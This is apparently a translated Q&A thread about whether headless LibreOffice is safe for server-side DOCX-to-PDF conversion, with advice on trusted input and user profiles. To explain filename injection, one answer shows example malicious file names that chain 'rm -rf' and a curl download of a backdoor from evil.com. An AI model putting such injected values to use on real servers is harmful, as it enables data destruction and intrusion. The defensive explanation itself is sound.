在 Web 服务器上使用 LibreOffice(无头)是否安全?

use*_*234 6 reporting libreoffice

我有my-template.docxmy-report.docx用 OpenXml转换成,然后my-report.pdf用:

soffice --headless --convert-to pdf my-report.docx
Run Code Online (Sandbox Code Playgroud)

我不得不说这个功能非常受欢迎。无论如何,我无法在此处(cli 文档)或此处(与 MS Office 比较)或我的其他帖子中找到答案的一件事是,LibreOffice 是否可以安全进行自动化。

请参阅Microsoft 的这篇文章,其中指出不要将 Word 用于服务器端自动化。这就引出了一个问题,即 LibreOffice 对服务器端自动化是否安全?基本上,我将使用 C# 来运行soffice --headless --convert-to pdf my-report.docx任何收到报告请求的时间。

那安全吗?

*假设没有其他人试图阅读 my-report.docx

mog*_*ggi 7

只要您控制输入文件的内容,就应该没有问题。请记住,LibreOffice 只允许每个用户配置文件一个活动实例,因此如果您希望能够并行处理多个文档,您应该使用单独的用户配置文件。

如果您有不受信任的输入数据,那么整个问题的回答就会变得更加复杂。尽管在保护代码库方面做了大量工作,但桌面办公套件仍然是一个巨大的软件,具有许多潜在的攻击面(宏、远程数据连接、旧的二进制文件格式等)。虽然所有这些功能都应该在无头操作中被阻止,但您必须相信没有未被发现的错误。

Microsoft 文章中的其余要点不适用于 LibreOffice。Headless 模式旨在不与桌面环境交互,并且除了用户配置文件不会更改系统中的任何内容或依赖于任何与桌面相关的部分。默认构建仍将依赖于一些 GUI 库,但如果这确实成为一个问题,则有一个实验性构建选项可以构建一个没有任何 X/GTK/KDE 库依赖项的非 GUI 版本。

作为替代方案,还有一些项目构建在 LibreOffice 之上,它们试图通过预分叉或使用 LibreOfficeKit API 使转换文档变得更加容易并且实际上可能会更快。两个例子是JODConverterunoconv


LSe*_*rni 5

我有 my-template.docx,我使用 OpenXml 将其转换为 my-report.docx,然后将其转换为 my-report.pdf:

soffice --headless --convert-to pdf my-report.docx
Run Code Online (Sandbox Code Playgroud)

TL;DR 在你的情况下,确实如此。

几乎可以肯定,您正在做的是替换 DOCX 中的一些信息,并使用 LibreOffice 将“良好”转换为 PDF。虽然还有其他工具可能会执行类似的操作(例如 wkhtmltopdf),但据我所知,您没有以任何易受攻击的方式使用 LibreOffice(并且我也像您一样使用 LibreOffice):

  • 源文档在您的控制之下(没有用户输入的宏、远程文件包含、远程数据源或其他恶作剧)
  • 您注入 DOCX 的值也在您的控制之下——或者是吗?- 并且不包含可能会进入 PDF 的用户输入,例如 HREF 目标。
  • 无头模式下的 LibreOffice 不会公开任何可能被第三方进程利用的开放端口或接口。

可能但不太可能的“利用”途径可能仍然存在:

  • 目标文件。我希望即使您向用户询问生成的文件的名称,您仍然会执行一些操作,例如创建一个唯一的 pdf 文件名,并将用户名发送为 ,而Content-Disposition: attachment; filename="thatswhatshesaid";不是文件系统上使用用户的文件名,并冒着将数据保存到byebye.pdf && rm -rf ...(或irrelevant.pdf\x00; curl -o index2.php http://evil.com/backdoor.php或...),发回Location: downloads/whatshesaid.pdf.
  • XML 输出中的值非常大,可能会触发异常行为。发生这种情况的可能性以及以任何有意义的(对于攻击者)方式这样做的可能性都是可以忽略不计的,但是检查仍然没有问题。